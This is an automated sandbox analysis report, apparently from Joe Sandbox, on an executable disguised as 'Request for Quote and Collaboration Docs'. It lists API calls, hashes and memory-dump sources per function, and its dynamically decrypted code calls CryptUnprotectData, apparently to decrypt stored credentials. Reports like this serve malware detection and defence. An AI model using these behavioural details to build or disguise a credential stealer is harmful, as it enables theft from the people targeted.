Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405DB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25

Strings

Call, xrefs: 00405DBA

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76232EE0,004037F6,76233420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: Request for Quote and Collaboration Docs.exePID: 6484, Parent PID: 6548COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10%
Total number of Nodes:	110
Total number of Limit Nodes:	9

Executed Functions

Function 398A5028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

>S7, xrefs: 398A538F
>S7, xrefs: 398A5323
N, xrefs: 398A8408
>S7, xrefs: 398A5351

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: >S7$>S7$>S7$N
API String ID: 0-3603189169
Opcode ID: d1c693d059e9d73142762755c13be45db326f1fb0ab9f6032b3b0b940ac90426
Instruction ID: 2c0ca698c50864c905f8a216c3e5b797c05cbace9d1eef2ee7e48e2d908a13a5
Opcode Fuzzy Hash: d1c693d059e9d73142762755c13be45db326f1fb0ab9f6032b3b0b940ac90426
Instruction Fuzzy Hash: D773D131C10B5A8EDB11EF68C854A99F7B1FF99300F51D69AE44877221EB70AAC5CF81

Function 398C8780 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 398C8F5D

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c66aceccad625b895c00d4c9d94b2ba688277dfaabd2a832197c2a0f2b452346
Instruction ID: 735b4d586aaa74ccb22ccaf4b96157b413ff5238b326ec0e0da6d6e6218bd16b
Opcode Fuzzy Hash: c66aceccad625b895c00d4c9d94b2ba688277dfaabd2a832197c2a0f2b452346
Instruction Fuzzy Hash: 461114B6800249EFDB10CF99C945BDEBBF5EB88320F14841AE628A7211C779A550CFA5

Function 398C8EF1 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 398C8F5D

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b1a0b7dbbe3a81b5c30741bebe15f40bf2c1df2b70983df81f57f84cb5dd06be
Instruction ID: a3c9cacca4dab3aeddc524dafc0a5d4e098eb384972aa20f2a0e93aef2d85520
Opcode Fuzzy Hash: b1a0b7dbbe3a81b5c30741bebe15f40bf2c1df2b70983df81f57f84cb5dd06be
Instruction Fuzzy Hash: B21126B6800249DFDB10CF99C940BEEBFF5EF48320F148459E958A7211C779A550CFA5

Function 398A1E70 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

8, xrefs: 398A1E75

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: bd26fb987c3af869d0c1373a90d5eabd1165e4a014440f115ac6d520741e26fa
Instruction ID: dd3990745ce21314470f07bff233e3a5227e408573469b33b1e62529d2b4e587
Opcode Fuzzy Hash: bd26fb987c3af869d0c1373a90d5eabd1165e4a014440f115ac6d520741e26fa
Instruction Fuzzy Hash: 144168B1E016588BEB58CF6BC94479EFAF3AFC9300F14C1AAD40CA6254EB744A858F51

Function 00169DE0 Relevance: 1.1, Instructions: 1145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e26741ce45811b3dda50189ffba92951e5fdac87f3f9148685a9ad46d6fef28
Instruction ID: e0ca33ce7822446cdbe07977ddebd729a779fab2160e285da58ffb24b09d1892
Opcode Fuzzy Hash: 6e26741ce45811b3dda50189ffba92951e5fdac87f3f9148685a9ad46d6fef28
Instruction Fuzzy Hash: D3A28134600209DFCB15CFA8C994AAEBBF6BF89300F55856AE406EB261D731ED51CF91

Function 3A62D710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007779923.000000003A620000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a620000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a1a7cc9c2981128c3392c2e005add26bce15c89c9ed0af6817dea566a3dc77
Instruction ID: c70d0692c11c2ad6680425e0978257235884c41c7e46536ee0b60927026147d4
Opcode Fuzzy Hash: f4a1a7cc9c2981128c3392c2e005add26bce15c89c9ed0af6817dea566a3dc77
Instruction Fuzzy Hash: 35826C74E01228DFEB65DF69D894BDDBBB2BB89300F1081EA940DA7261DB705E81CF41

Function 398A0B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fccef5da8c364be6b5678a101c107f76d797047191467276252f16b8ecd3689c
Instruction ID: a660376bbc3b7b1f7794b05d6a9f0d223cd130cb7593fae9a78a81a16648f8ca
Opcode Fuzzy Hash: fccef5da8c364be6b5678a101c107f76d797047191467276252f16b8ecd3689c
Instruction Fuzzy Hash: 8C72B174E012698FDB65DF69C980BDEBBB2BB99300F5491E9D408A7351DB349E82CF40

Function 00166FC8 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb24418c3d646bccbdef894d591b671842db5a12993fbf9472f665935f853962
Instruction ID: e8e5c9ef21954ab9bdd16c85c54a5ffc2e7116cb0349c7920a913bb46a5cb30a
Opcode Fuzzy Hash: fb24418c3d646bccbdef894d591b671842db5a12993fbf9472f665935f853962
Instruction Fuzzy Hash: AA025130A04219DFCB15CFA9CC94AADBBF2BF89314F65806AE805AB3A1D730DD51CB51

Function 398A9548 Relevance: .4, Instructions: 357COMMON

